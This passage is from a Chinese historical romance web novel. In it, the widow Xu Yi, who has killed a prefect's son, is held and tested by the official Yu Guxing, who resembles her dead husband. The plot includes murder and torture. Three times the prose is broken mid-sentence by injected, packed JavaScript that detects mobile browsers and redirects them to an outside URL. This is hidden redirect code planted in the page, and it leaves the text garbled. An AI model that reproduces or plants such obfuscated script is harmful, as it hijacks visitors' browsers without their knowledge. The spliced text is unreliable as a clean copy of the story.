徐宜看着郁故行青灰色的衣裳垂至地上,再缓缓摆动,牵起好看的弧度。真巧,她今日披的也是件青灰色的旧衣裳。 她的意识逐渐消散,这样下去肯定不行。这些人最后都会把她交给郡守处置,而她的身上并没有致命伤。郡守不会杀她,她只会生不如死。 她不是不可以供出老长吏。可是一旦把他给供出来,她就彻底上了郁故行的船了。这位郁大人与其他为官的人一样,虚与委蛇、工于心计,她不知道他能否说话算话,保住与她共谋的那位姑娘。 不论怎么样是老长吏背信在先。她虽嘴上说着不信郁故行,但她也信不了老长吏。 徐宜不知怎么的,抬眼对上堂前那双漂亮也熟悉的眼睛,定定地看了会儿才说:“郁大人,与我共谋的另外一人就是老长吏大人李荻。” 22. 天落雪 徐宜没想到,自己还能见到她夫君的那张脸。这么些年,她一直没有放弃寻找与他相似的面容,但都没有找到合适的。 这次总算找到了。 郁故行的那张脸与言许实在是太相似了,恍然之间她近乎以为是同一张脸。但怎么可能呢? 她的夫君已经死了。死在京中的廷尉府,处以各种极刑,最后分尸而死。她连完整的尸体都拿不回来。 而且他决不会这样漠然。 至少,对她不会这样。 这位郁长吏,郁大人,也有着同样的一双漂亮眼睛,不同于言许的是,他眼尾上挑处还有一颗小痣。但在那样漂亮的眼睛里,只有冷冷的试探与审视,可他偏要装出温和的笑。他与她所见过的为官者一般,先是言笑晏晏地哄劝、安抚她,上钩之后便拉她下水,利用完后再淹死她。 这样的目光,徐宜在言许那儿只见过一次,还是在他失忆之前。只是很远很远了,但她每每想起来,还是有些不可置信。 她的夫君性子软,还那样温柔有礼、体贴周到。即便是有人故意为难,他也留有一丝余地,不肯将事做绝。 这样的人,怎么会用那样疏淡的目光看人? 徐宜后来追问起来,言许在堂屋里烧菜的手一顿,蹙眉认真想了好一会儿才说,“我不记得了,可能是将你错认成其他人了。但如果真的是那样,”他垂下眼睛,像做错事的小猫一样有些委屈。“我……向你道歉。” 他低着头继续烧菜,不一会儿一碗香喷喷的菜就出锅了,可他依然垂着眼睛,目光显得黯淡。他似乎是当真了,徐宜就虚虚环了下他的脖颈,蹭着笑道:“你那时不认识我,肯定是将我当成要来劫持你的土匪了!” 那是永光九年的事了。言许尚且还是言家的三公子,住在言家侧门。可那时槐里乡也并不太平,荒年多生匪徒,像言家这种门第,即便落魄了也是瘦死的骆驼比马大,很多匪徒就想着去抢言家。 言家正门不好进,侧门倒是好进。可进了侧门,就有几堵高墙隔绝了与言府正堂的往来。言家看似不分家,实际上早已把言家三房划分出去了。 她的那匹棕马是经由言家的手卖到京中的,姨母王氏将马匹卖给言家大公子言吏鸣,沿路商队便收了言家的马匹,带给京中那位声名扫地的异姓王——淮安王。 徐宜是过了两天才知道此事的。姨母说那匹马随她上山的时候不见的,是沈大娘告知了她真相。 她连忙赶去言家,言家大门并不开,言家侧门却虚掩着,她急忙走了进去。那日下着大雨,全身都被打湿,她连忙躲到屋檐底下,正打算走去马厩之时,背过身却触不及防地碰上了言许那双带着些许敌意的眼睛。 “你是谁,来这里做什么?”他那时也就少年模样,气质却极为沉稳,眉眼之间还带着一股漠然。 她那时被他狼狈地赶了出来。只是临走前,他塞给了她一把油纸伞。 …… 徐宜只是打趣着抱怨他,可言许却当真了,他甚至有些失落,目光又很疑惑,最后再轻声问她:“……有这回事么?” 又牵扯到他的过去了。徐宜连忙俯下身去闻碗里的饭菜香,弯起眼睛笑:“不管这些了,我饿了。夫君我们快去吃饭,不然该冷了!” “对不起。我那时应该帮你阻止这场买卖交易的。”他认真地望着她说。 言家的事那是他说了就算的。本就是外房姨娘所出,高门第最看重的就是嫡庶之别,听槐里人说,言许自小便住在言府的西南侧门,母亲是个疯子,他过得很不顺意。 她后来想通了,或许少年时候的言许将她赶走,是为了保护她。 …… 颠簸、摇晃之中,徐宜逐渐醒来。她皱紧眉头想要打量四周,却伸手不见五指黑。 这是哪儿? 她不是在长吏府吗。 车轮骨碌碌的声音愈来愈响,外面又响起虫鸣的细微声音,徐宜挣扎着坐起身,身上的伤口似乎被处理了,但因着起身牵动伤口,痛楚像是一条细长的蛇,在脊背上蔓延开来。 她咬紧牙关,勉强平复喘息。 那位郁大人究竟想做什么呢。 这辆马车会将她送去行刑场么。但清和郡的行刑场就在长吏府的东侧,离得很近,根本就不用乘坐马车。还是说会将她送到郡守曹闵的家门。可曹闵的府邸也就在行刑场的边上,同样很近。在高堂之上,他的一言一语都没有表示出对郡守的敬意,反倒是想借她之手铲除清和郡所有狼狈为奸的旧吏。 这可是个大手笔啊。 清和县这么些年来的官吏无人敢忤逆郡守曹闵的命令,只因曹闵家大业大,不仅是个仕人,更是商人,京中贵人们穿的锦衣华服很多都是他的货源。多少商人有钱却跪在官吏衣摆下,偏这曹闵既有权又有钱,不仅清和,就连京中极有威望的大人都不得不给他几分薄面。 意识昏昏沉沉,额头抵着窗沿,徐宜几不可免地又想起郁故行来。 重合,再重合。 世界上怎么会有如此相似的两张面皮呢。 郁故行。 郁,故,行。 她低声地念这个名字,眼睛里光彩涣散了些,可后头又跟了零散的几个字,“言,许…郁…故行…言许…” 意识到自己说了什么之后,她丧气地端正身子。 一拍额头,叹息一声。 徐宜啊徐宜,这两名字明明风马牛不相及啊。 吁—— 马儿急刹住,徐宜猛地倒向马车的一边。 她还没反应过来,帘子就被掀开了,一水的月光落进来。 一同进来的,还有那位新长吏。 郁故行站在外面,眼里带笑意,好整以暇地看着她。 几乎是不受任何控制,徐宜也看向他。 他还是穿的高堂上的那件青灰色衣裳,长发半披半束起,拢着些月光越发像是莹润的玉石。画了那么多通缉自己的画像,衣裳却没有沾上一丁点儿墨迹。这样细致的、不容出错的性格倒是与她夫君极为相似。 徐宜想起言许,有些失笑。 “......徐姑娘。” 更像了。 白日里她还听得不甚清晰。可现在狭窄逼仄的马车内就只有他们两个人,几不可闻的风声没能阻止她听见他的声音。有些湿冷,就像雨露的触感。 这样淡漠的语调在言许身上其实并不常见。但她却觉得很熟悉。 ...... 被那双沉敛的安静眸子注视了很久,郁故行虽心觉怪异,却没有阻止。过了好一会儿面前的姑娘才反应过来,猝然之间垂下头,缩了脖颈倚在角落里。 “你认......”话还说出口,面前的女子又往后挪了。 郁故行轻笑起来,不打算放过她,“你认识我?” 徐宜抬眼瞄了他一眼。 好奇怪。明明是两个性情完全不一样的人,她为什么会不由自主地将他和言许的身影重合,甚至在某一瞬间觉得,他就是他,只是不记得她了而已。 可这位郁大人在高堂之上所说的话,看似是在助她,实则每一步都在将她往火坑里推。老长吏原本就与她有嫌隙,他偏偏还要加一把火,让老长吏彻底地仇视她。权者有权,不必事事亲为,手底下多的是像她一样的小喽啰。当然,他们也并非算无遗策,只是下错棋的时候这些小喽啰会替他们死罢了。他若是想要扳倒老长吏,抑或是郡守,借用她这个人、她所做的事,那将大有所书。 衣不沾血,兵不血刃,是为权者。 可那一刻她还是说了,像是受了蛊惑,她听了郁故行的话,将郡守最喜欢的一条狗老长吏——李荻给供了出来。曹闵的眼中容不得沙子,李荻会死,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262243|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李荻势必也会将自己给拖下水。明明该任由老长吏把自己给打死,这样就不必在与这位郁大人周旋、也不必受到郡守的迫害,一切都会结束。 ……似乎还是想活下去。即使是半死不活。 自永光十一年她的夫君死了之后,她也想跟着死,但都被沈大娘给拦了下来。因此她才半死不活地活到了现在。 可她在准备剁王屠夫的手的时候,就想过会有这么一天。杀郡守儿子的时候是个雨天,她没有丝毫犹豫、很安静地就捅下去了。 是什么缘由想继续活了呢,徐宜自己也不知道。 肩上传来温热的触感,夜风很凉,薄薄的一层衣裳被血浸染得不成样子,因此才显得突兀和真实。面前由大片黑暗所拢住,像是幕布似的,她将头埋进胳肢窝里,不做任何反应。 头顶传来一声轻笑,接着便是熟悉的声音,“我是说,你今日在堂前做得很好。” 面前这人像是刻意放柔了语调,因此更加贴近了。 徐宜皱起眼眉,头埋得更深了些。她的眼睛甚至能感受到自己剧烈的心跳,比以往三年的任何一天都要快。 马车开始行驶了。 就在她晃神之际,猝然间身子不受控制地往后仰,半路却被人拦了去。额头磕在那人的指节上,事情发生得有些太快了,转瞬青灰色袖摆就垂落在自己的颈侧,颠簸之中又摩挲着伤口,有些痛。但出乎意料的是,她很适应这个怀抱。 这辆马车的终点不是行刑场,也不是曹闵的府邸。 是要带她回槐里吗…… 怀里的人有些过于安分了。白日里高堂上的女子明明那样犯倔,他默许了李荻很多次对她的擅自用刑,都还是没能让她屈服。郁故行怔住好一会儿,再极尽耐心地拨开她脸颊边上的发丝,眸光却逐渐变得淡漠,“你做得很好,不仅指今日在高堂之上你说的那些话,还要指你帮我杀了清河郡守的长公子,原本我还在想怎样做才不会留下手脚。” 徐宜倏然睁开眼,仰起头看向郁故行的半边侧脸,没有选择挣开他。 僵持半晌,马车轱辘的滚动声停了下来。 “郁大人,柳花巷到了。” 柳花巷是清和郡里最为繁华、也是最为放肆的烟柳之地,而郡守曹闵算是这个地方的常客,经常包下这个巷子三五天之久,无人敢去打扰他。先前这位郡守的儿子病死了,家中的奴仆跑去通知郡守之后,却发现他仍在床榻上与女子行欢愉之事,对儿子的生死安危置之度外,最后郡守府邸上的所有奴仆都被斩了头颅。徐宜这次就是专挑了他在柳花巷逍遥度日的时间段去杀他的儿子,长吏府的人不会夜不敢去通风报信。 相闻这位郡守不只在柳花巷中寻欢作乐,更是设置了一些丧尽天良的用刑器具和机关,以此对那些不听话的女子一个教训。曹闵年岁已经大了,曹翟是他最后的一个儿子,他极为喜爱。 如果被送进了柳花巷,后果将不堪设想。 徐宜想挣掉他的怀抱,可她的手却被禁锢住。 ......他不是言许。绝对不是。绝对不是。如果是言许的话,他会带她一起回槐里乡,就像之前司州下大雪的那日一样,会替她换好衣裳,生起柴火,熬好薏米粥,再用责备的目光看着她,只不过一会儿就会破功。 “你不要这样看着我。”郁故行还是抱着她,又故意错开她的目光,轻声问,“难道你不想让曹闵知道他的宝贝儿子死了吗。你就不想知道他的反应吗?” 他的声音明明很冷静、克制,像是在故意引诱自己说出“想”这个字,但她却能从他的字句间听出一丝歇斯底里的疯狂来。 这位郁大人,是与曹闵有仇吗? 徐宜不知道他是否与清和的郡守有仇,她只知道自己会被这个长相与自己夫君相似的人送进柳花巷,送到曹闵的手上。 ……然后,受尽折磨。 23. 天落雪 “那徐宜竟是个寡妇!郁大人,属下怎么样也没有想到,她居然是个寡妇!在高堂上瞧着挺年轻的一个姑娘,应该不过十五六岁罢,居然已经死过一任夫君了。而且她家住在槐里乡,却日日往这清和郡跑,大人你猜是为什么?” 侍卫笑得弯了身子,完全没有注意到伏案处理公务的年轻公子已然搁下笔、端正了身子,笑着眼不怀好意地看着他。 “......为的什么?”郁故行轻叩桌,问道。 怎么听出来一股咬牙切齿的意味,侍卫疑惑地摸了摸后脖子,随后极为神经大条地说:“还不是为了她在清和郡的情郎啊,槐里乡的人都说了,她换情郎的速度比换衣裳还要勤。属下也调查过了,她‘守寡’的这几年寻了足足五位情郎,当然这五位也只算是能说得出来名字、称的上号的,还有其他面生的情郎,槐里乡的人不认识,所以属下就没算进去。” “依属下来看,她这次杀掉郡守的长公子,就是为了她的上一任情郎——卫良书。”侍卫掷地有声地下了这个结论。 郁故行转动了下手腕,抬眼继而问:“你是说她是为了情郎才去冒险杀人的?” 侍卫点点头,“这徐宜虽然滥情,却又很……专一。她的夫君在永光十三年死后,情郎虽然照找不误,但几乎每一个情郎都与她的夫君长得极为相似,或者说都有相似的点,要么是眼眉、要么是嘴唇、要么就是身材……实在找不着了,她就会从声音、脾性等外在条件入手,而且也是以她的亡夫为标准来找的。属下想,她应该不是在找情郎,而是在找亡夫的替身,所以属下才说她滥情又专一,找了这么多情郎,可她心里最喜欢的依然是她死去的夫君。” “方才提到的卫良书,就是她所找到的最完美的替身。”侍卫从怀里拿出两张画像,对比着看了一下,“属下还找来了她亡夫和卫良书的画像,不光眼眉相似,整张面皮更是无一不相似。而且这卫良书的脾性温柔体贴,也与徐宜的那位亡夫一致。清和郡的人还说,前不久卫良书还在筹备婚礼、准备迎娶她呢。” “她没嫁。” 侍卫一拍手,大声说:“她的确没嫁!郁大人你猜中哩。据说是在婚礼当天,一切都准备就绪了,街坊邻居虽对卫良书娶这寡妇而心有不满,却顾及卫家的面子都还是来了。只是这新娘子却没来,不知道跑到了何处,直到昨天才出现在清和郡,现在人们才知晓,卫良书在准备婚礼之际,她都在筹备着怎么杀人呢。” 郁故行:“她是与郡守公子有仇吗?” “没仇。”侍卫乐呵着继续说,“是卫家与郡守家有仇。卫良书有个妹妹,前几年嫁给了郡守公子,却没过几天好日子,而就在前几日她又活活被打死了。依属下看来,徐宜就是为卫良书打抱不平,才去杀了郡守公子,知道杀人偿命才不肯嫁给卫良书,以免连累她这位堪称完美的‘情郎’。” 近来恰逢倒春寒,清和郡中冷得很,不一会儿外面就飘起连绵的小雨来。 “郁大人你觉得属下的推断对吗?”面前的年轻公子没有理会,侍卫看出他有些不高兴,却又不知道为何,于是只好识相地捧起画像再次仔细端详,时不时地又会发出感叹,“这寡妇太会找了,怎么就找了一个这么相似的呢。哎,不过这眼睛还是差点意思……” 不过越看这言许的画像,倒是越发觉得熟悉。自己是在哪儿见到过这人的呢。侍卫烦躁地揉了揉画纸,传出的声响有点大。 郁故行皱眉,“你可以出去了。” “哎!我就说我在哪里见过这张脸。”侍卫对上面前公子的眼睛,恍然大悟,反应过来又觉得不可思议,他瞪大眼看看画像上的人,又抬头看看面前的人,到最后话都说不利索了,“郁……大人,你你你你......你是......” “我不是。”郁故行一把将他手中的画像给拿了过去,看都没看一眼便用镇尺给压在下面,冷淡地瞥了那魂不守舍的侍卫一眼,说道:“下去罢。” 侍卫走后,郁故行才缓缓拿起那张画纸。画纸微微泛黄,边角却没有褶皱,想必被主人保存得非常好。上面是一个与他长相别无二致的年轻少年,眼角微微勾起,温柔含笑。视线缓缓下移到他所穿的衣裳,大片的青灰色映入眼帘。郁故行格外专注地审视这个画像中的人,其他的没什么异常,只是他将自己的双手完完全全地藏入了袖襟之中,不肯裸露出一点儿手上的肌肤。 ……为什么? 郁故行下意识地看向自己的双手。上面的疤痕已经变淡了,现在只依稀可见一点痕迹。世上会有这么巧的事情么,那个姑娘的亡夫,手也曾受过伤? 不过这对他来说倒是好事。 从高堂上的初次见面开始,他就觉得不对劲。那个姑娘既然敢单枪匹马地与老长吏做交易、剁掉王屠夫的手指、再一刀捅死郡守的公子,就意味着她的目的已经达到了,也不畏惧死亡。她昨日在高堂上原本也是沉默寡言、准备等死的,可她最后还是听了自己故意引诱的话、供出了老长吏。这样于她,百害而无一利。 昨日在柳花巷的时候,她的腿也被老长吏给打断了,即便接上也还是行动不便。两个侍卫搀扶着她下车,随后将她给带进了柳花巷的暗处。 这些都是他的默许。她也知道。 雨打窗,发出沉闷的“沙沙”声。偶有几丝风吹进来,桌案前的画像弯折着落了下去,再然后就被人踩在了脚下,保存良好的画纸就这样多了几处灰团和褶皱。 * 双手指节都被竹板给夹住,铁链子环住颈间和腰身,上面有无数细小的尖刺,才得以紧紧地挂住身上的皮肉。破烂的衣裳已是被刺得不成样子,滚烫的血迹从细小的伤口中蔓延出来,铁锈味萦绕在鼻间,久久不散。 徐宜的嘴里塞了一大团布,已经被她咬得瘪了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么在梦里也不肯呢。”她撇着嘴、湿着一双眼睛看向那个青灰色的背影,眼前骤然涌现起大片的白光,最后又被一片黑暗给覆盖。 缓缓睁开眼,脑子还没有完全清醒过来,徐宜就看见了面前熟悉的青灰色衣摆。 “光还是太刺眼了么。” 是言许的声音,随后她又听见了他起身去关窗门的声音。“哗”的一声,帘子也被拉上,没有了剧烈的阳光,眼睛总算是舒服了些。 好安心。 她闭眼再睁眼,却发现周遭的环境都极为陌生。墙角没有她所熟悉的那扇弓箭,书架上堆放着许多厚书,却唯独没有看见她最常用的匕首们。而且这里的陈设布置,不会是槐里乡。 颈侧传来疼痛和瘙痒,她用手扶住脖子,将视线缓缓移到站在窗前的那个人。 ……那他也不会是言许。 24. 天落雪 她的这双眼睛娇弱得很,既见不得烈光,也无法适应黑暗。她在那间没有光亮的小屋子里待了一晚上,因此直到现在都还没有恢复。眼睛周围湿湿的,还有些痛,她叹口气,抬手就要按。 “医者方才看过了。你的眼睛敷了药,不能去碰。”郁故行轻声说。 徐宜不信邪,压下去之后不仅手变得湿黏,眼睛也没有好受点。她一下子就坐起身来,死死瞪着面前的人。 “……”郁故行避开她的目光,轻声说。“我告诉过你了。” “郁大人可真是好兴致。将人丢在柳花巷,如今又跑回来。”徐宜挑眉说:“怎么,长吏府那些挤压的案子不够您处理的吗。是死的人地位太低了,还是你已经知道凶手是谁,却不敢去戳穿?” “既是旧案,就不必再查。” 徐宜皮笑肉不笑:“那不如我再去杀个人,让你有事可做罢。” 见郁故行皱了皱眉,她便耸耸肩,笑着补充道:“不对,得杀个地位比较高的人,就像这次一样。譬如郡守的长公子,老长吏大人。”说完像意有所指似的,她直勾勾看着郁故行的眼睛,尾音上扬。 “再譬如……清和的郡守?” “徐娘子,你似乎很在意郡守的生死。”郁故行对她话中的嘲讽视而不见,淡淡地说出这样一句无厘头的话。 徐宜翻了个白眼。 什么在意郡守的生死,她只想让曹闵去死。 听他的语气,倒像是在试探些什么。不过……徐娘子?明明昨日他还是唤的徐姑娘。槐里乡未成婚的女子唤做姑娘,成过婚的便唤做娘子,这都是众人约定成俗的规定叫法。 他在调查自己。 为官的就是如此,心眼多的是。这位郁大人自然也不例外,可他为什么要调查一个将死之人? 徐宜坐在床上,若有所思地盯着郁故行的半边侧脸。 面前是张丈多宽的桌几,上面端放着一套原色的茶具,衬得原本简陋的屋子多了几分雅致。清淡的茶香四溢,倒春寒过去,屋里溢满阳光,两人一站一坐,明明面面相觑各怀心思,可在这样的环境下倒像是在午后小叙闲谈一般。 唇角略微勾起,徐宜直盯着壶身,说道:“我当然在意啊。郡守的公子娶了我新夫君的妹妹,却不肯好好待她,整日又打又骂,我那小姑子死在房间里了都还没人察觉。这事发生后,郡守也没给出什么解释,还硬说这是卫家的问题。” 她将“新”这个字咬得格外重。可令她没有想到的是,郁故行也很配合,他先是似懂非懂地点点头,再问:“你帮他的妹妹报仇了。那这位‘新’夫君感谢你了么?” “咳咳……”徐宜清咳几声,叹口气又说:“这只是我的一厢情愿,他倒是不曾送来感谢。不过我杀郡守的公子也不全是因为他,还有一部分原因,是我那早逝的第一任夫君。” 郁故行笑起来,“看来徐娘子的夫君实在有很多。” 徐宜瞄他一眼,不想过多搭理。干净清黑的眼珠子滴溜溜转了会,她憋住笑,继续说:“其实也谈不上多,也就两个。我自小命苦,好不容易遇上个能托付终身的,却被那京中的权贵给害死了。后来又遇上了一个,是卫家的长公子,他相貌出众、体贴备至,可惜的是他妹妹不喜欢我……所以这婚事也就不了了之了。” “想必这些郁大人都有所耳闻罢?”她抬眼去看郁故行,他却垂了眸子,悠然向她走来。青灰色的衣摆随着步调掀起蔓延至腰身的褶皱,长发用白色的发带束好,眉眼如玉,倒是又添了几分故人之姿。 她的视线一直跟在他身上。 郁故行却在她身前停下,他或许是听出她话语间的不满和挑衅,因此他的眉目软下来,温言说道:“在下并没有指责你的意思。鳏夫既可再娶,寡妇便可再嫁,许朝历来就没有为亡夫守节的条文规定,只是一些腐儒将女子的贞洁看得太重了,这才引来非议。不过徐娘子若当真寻到喜欢的人,就不要为这些条条框框束缚住了。” 温言细语,唇边的弧度刻意压得平淡,微微蹙起眉头,眼里尽是担忧之意。他仿佛是真的站在了她的角度,倾言相劝、为她排忧解难。 要命。 今天不光形似,神也似。 徐宜咽了下口水,眨了两下眼睛才别开目光。屋中整洁干净,陈设更是少的可怜,她不知道该把视线往哪里挪,于是只好盯着壶口中飘出来的热气。 “叮啷——” 瓷器相撞的声音在耳边响起,格外清脆。郁故行倒好茶,三两步就走到了徐宜的身前,随后单手将茶盏递到了她的眼前,笑着说:“喝点罢。” 视线触不及防地又被拉回来,先是对上他的眼睛。徐宜一夜未曾进水,原本是想喝的,可正待接过清茶的时候,她的目光逐渐下移,最后怔忡在了他握住茶盏的手上。 那是一双好看的画者的手。手微微屈起,指节分明,与茶盏的木色格外相衬。只是青灰色的袖襟甫一垂落,她瞧见他的整只手都被缠上白布条,尤其是手腕至手肘的部分,布条紧绷在肌肤上,像是为了竭力掩盖住什么。 下一刻,记忆不受控制地涌来。眼前的那些白色布条统统消失不见,下面全都是密密麻麻的狰狞疤痕。 “你在看什么。”郁故行转了转手腕,晃眼的白布条在眼前一闪便消失,他凑近来问。“徐娘子似乎自昨日来了长吏府之后,就一直很不对劲,尤其是见到我之后,难不成在下是你的故人?” ……故人。 心绪杂乱也无章法,她的夫君从不在人面前露出自己的双手,尤其是在她的面前。连为她作画的时候都是遮遮掩掩的,不肯让她扒拉他的袖襟。是她哄劝很久,答应他不会害怕也不会和离,他才妥协下来,就连临阵之前他也还在反复确认,她那时不以为然,一边解开绷带一边点头说好,可眉头却越蹙越深。 疤痕像是沿着手上的经脉生根发了芽,深可入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295388|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨。而且依那些疤痕的形态,只会是言许小时候发生的事情。但他什么也记不得了。 三年前她差点被风雪掩埋那次,手上也同样的出现了这样细小的、绵密的伤口。但她手心上的伤口并不深,结痂脱落后就恢复如初了。但她的夫君不同,那些疤痕一直存在。 她那时就猜,是有人重复割开他复原的伤口。 不过郁故行的手上为什么也缠着白布条? 她怔了会,抬头看向面前眼眉含笑的公子,语调温和,甚至还主动挑破窗户纸,问她自己是不是是她的故人。明明之前最是熟悉这张脸,现在却觉得哪哪都是陌生的。 “郁大人,可算找到你了。” 木门被拉开,张渠缓步走进来,一双笑眼分别看了看相互对峙着的两个人,最后直勾勾地盯着徐宜的眼睛,意味悠长地笑说:“原来是在这儿啊。” 明明是在对郁故行说话,眼睛却看着自己,而且里面总是装着嘲弄、轻视之意,不仅仅是这次,初次见面也是这样。 莫非他认出自己是谁了? 心中思量着,徐宜的神色却没变,她忽视掉张渠赤裸的目光,抬眸看向站在眼前的郁故行。 郁故行皱起眉:“找我有什么事?” “郁大人今日似乎变了许多。”张渠没直接回应他的问题,他还是看着坐在床上的徐宜,随即意有所指地说道,“就像你身上的这件青灰色衣裳,若是放在往常,是断不肯穿的。你最讨厌青灰色,不是么?” “……为什么。”徐宜静默了会儿,轻声问。 张渠像是有所预料的,了然地笑笑说:“这我可不能告诉你。” “行了。曹闵已经死了。”郁故行没什么反应,皱起的眼眉也舒展开,只是语气中有些不耐烦,他对着张渠说,“你想知道的都已经知道了,快走罢。” 张渠“呀”了一声,惊讶道:“都说新官上任三把火,可你这第一把火怎么烧的是清和县官威最大的郡守大人呢?” “这主意不正是张公子你想的么?”郁故行似笑非笑地看着张渠,淡淡地说。 张渠但笑不语,他站起身来要往外走,等到在门口的时候转过身来看向徐宜,说道:“哎对了,徐娘子。你可千万不要相信这位郁大人的话,不然就彻底完了。” 静默。 木门被拉上,脚步声愈来愈远。窗外的阳光移了位置,屋内霎时暗下来,带着暖意的木色陈设都变得有些压抑阴沉。 徐宜自问完那句“为什么”就一直处于长久的沉默之中,直到张渠走后,她才抬起头来。郁故行并没有走,他就端坐在桌案边上,慢条斯理地倒茶、饮茶,细长的手把持在茶盏上,指节漂亮,像是一尊温和的玉佛。可时不时的,青灰色的袖襟被缓缓牵动,手肘上绷着的白色布条能够一览无余,肉色的疤痕逐渐从其中显露。 “要再来一杯吗。”郁故行低着眸,没有看她,而是专注地看着手中的茶盏。 25. 天落雪 徐宜倏然抬眸,撞进郁故行那双带笑的眼睛里。他的眼下有一颗痣,在白日里要看得更清晰些,可阳光逐渐褪去,那颗痣也像消失了一般。 言许的眼下没有痣。 “……不喝吗?” 青灰色的衣裳料子动了起来,郁故行晃了晃茶盏,要往她面前递。这一动,他手上的白色布条就又露了出来。但他似乎没有意识到,神色甚至可以算得上是纯良,目光一错不错的,只落到徐宜的身上,声音竟还带了些委屈。 “为什么?”徐宜突然开口问。 他被问得懵了,“什么?” “方才张渠说的。”徐宜闭了会儿眼,深吸口气再说:“我想知道,你为什么会讨厌……青灰色?” 青灰色是言许生前最喜欢的颜色,他常常在她面前穿青灰色的衣裳。 郁故行难得的怔了下,不一会儿就收回了手,茶盏被放到桌案上,他淡声道:“你不信我,却要信他。” 这莫名的脾气是从哪儿来的。 徐宜只觉得好笑,不过还是给出了理由,“至少他昨晚没有将我丢在烟花巷里罢。就凭这一点,我会信他。” “你以为他不会吗?”郁故行轻掀眼皮,说道:“他只会比我更狠。他会不仅会将你送给曹闵,还会等你死……”可话还没有说完就被徐宜给打断了,她眼里没什么情绪,只是轻声地否定,“但他没有做。不是吗。” “可你做了。”她直直地看着面前男子的眼睛,这样说道。 风打在纸窗上,沙沙作响。天光寂淡,屋内的一切都好像褪了色,显出沉稳、古旧的那一面,茶盏中的热气凝在壶口上,正逐渐变凉。 听到这句话,郁故行倏地抬眸,少见的有些慌张地看着眼前的女子。 “我这个人就是这样。”徐宜被看得有些不自在,移开视线看向窗外,淡淡地说:“时间久了,不会记得别人好,只会记得他们的坏。” 原来只是在虚张声势啊。 郁故行听了反应过来,随后几不可察地笑了声,极其短暂。 徐宜咬咬牙,格外记仇:“所以你昨天将我丢在烟花巷,我会一直记着。还有你画的那些通缉令,是它们让我没能逃出清和,还害得我硬生生地挨了一刀。郁大人,现在这样都是拜你所赐,今后我一定地会好好地报答你。” 见郁故行没什么反应,她又恨恨地补一句:“所以我选择信张渠,不信你。” ……好像没那么有杀伤力。 可她左思右想也没能想出什么更有威胁性的话。如今的主动权就是在他手里,她不过是个犯人,命都掌握在他手中,更何谈威胁。 “随你。” 徐宜不死心:“你为什么会讨厌青灰色?”或许是因为他这张面皮与言许太过相似,她就下意识地以为他也会喜欢这个颜色,现在他的身上,除了脾性,还出现了另外一处不和谐的地方,着实令她懊恼。 “每个人都有厌烦的东西,有时候并不需要什么理由。”郁故行站起身,抚平衣裳上的褶皱,微微一笑。“反倒是你,徐娘子,这般试探我的喜好,到底是为了什么?” 纸窗下绿荫成片,偶有虫鸣。光影走一圈又绕了回来,还倒映在屋内的书架和地板上,又显出几分春日的暖意。 徐宜蹙眉不答。 她也不清楚自己为什么会执意地去试探这位郁大人的喜好,甚至目光都不能从他的身上脱离。三年来,她不是没有见过与自己夫君相似的人,但都没有这般失态。从前她是猎人,慢慢试探那些人的喜好和脾性,而现在她仿佛成了猎物,被勾引着去试探郁故行。 更何况,那股熟悉感还紧紧地萦绕在心头。 “是如今曹闵死了,已经没人能要你命了,你才如此率性么?”略带嘲讽的声音传来。 “曹闵死了?”徐宜有些惊讶地问。 郁故行无奈笑一声,道:“方才张渠进来的时候就已经说了这件事。看来徐娘子根本没将这位郡守大人的死放在心上,也没有将你那位‘新’夫君放在心里啊。” 她被说得哑口无言。 ……好像,貌似,的确是自己走神去想事了。 不过这曹闵不仅仅是清和的郡守大人,更是京中权贵们争相巴结的人物。九州中就属司州地势最为险胜,因为有着砚山这一道天然的屏障,北方的戎人很难攻进来。不像豫州,已经被攻陷很多次了,徐宜就是从那逃出来的。而且这砚山不仅作为城门,其中更有着不少的矿物,这些都是由曹闵管控的,朝廷所需的大部分铁矿都是在砚山中开采的,因此曹闵从中牟取了不少暴利。 她昨日还在那儿感概弄死曹闵是个大手笔,今日这位初来乍到的郁长吏就把他给撂倒了? 徐宜摇摇头很有些难以接受,深吸口气却问:“你为什么讨厌青灰色?” 郁故行:“……” 他见状没理会,摇了摇头就走了。 其实她不光想知道这个答案,还想知道他为什么和言许长得别无二致、手上为什么也有那样严重的伤口以至于要一直用绷带缠着,还有他眼下的痣究竟是怎么回事。 但显然这位郁大人,并不想就这样告诉她。 * 自那日之后,她再没有见过郁故行。若非自己身上的伤口还在,她几乎就要以为这只是一场梦。可若是梦的话,这梦里夫君的脾性也太不好了,三年不见变得也太多了些。 幸亏不是。 因为她在阴雨连绵的这天又看见了他。 她倚在窗前,将纸窗户掀开一个小缝听外面敲得叮叮作响的雨声。这几天她都在养伤,伤口几次发炎以至于她白日的大部分时间都处于昏睡之中,现在好不容易才醒着。 宜晴宜雨。 她又想起这个词。她甚至还能想起言许说这个词时温和的语气和舒展的眉目。 